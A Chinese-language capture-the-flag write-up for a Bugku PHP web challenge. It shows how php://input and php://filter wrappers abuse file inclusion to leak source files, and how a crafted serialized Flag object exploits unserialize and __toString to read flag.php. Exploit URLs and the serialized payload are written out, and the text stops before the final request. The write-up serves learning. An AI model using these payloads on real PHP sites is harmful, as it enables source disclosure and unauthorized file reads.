前言
这道题挺有意思,记录一下
它涉及了php://input
,php://filiter
,_tostring魔法方法
,php序列化
welcome to bugkuctf
http://123.206.87.240:8006/test1/
查看源代码发现提示
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
1.提取的$user
文件内容要等于welcome to the bugkuctf
2.然后利用文件包含读取hint.php
文件
我们可控的是,提取的文件名txt
,包含的文件名file
,而file_get_contents()
是支持php://的,所以运用php://input就可以控制文件的内容
php://input 是个可以访问请求的原始数据的只读流。
简单来说就是就是读取POST的原生数据
详见php://input和php://filter的详解与应用
?txt=php://input
网页内容变了,再加上file
参数,读取hint.php
文件
/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
得到base64编码,解密发现提示
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
__toString() 方法
用于一个类被当成字符串时应怎样回应
利用类Flag
来提取flag.php
中的内容
再来读取下题目源码
/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php
解码得到
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "flag是不会就这样让你拿到的!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
可以看到flag
关键词被过滤,而$password
被反序列并打印出来,我们可以利用序列化Flag
类来读取flag.php
,当打印时就会触发__tostring
,从而实现读取从而
首先写php代码来序列化
<?php
class Flag{
public $file;
}
$flag = new Flag();
$flag->file = "flag.php";
echo serialize($flag);
?>
得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
获取flag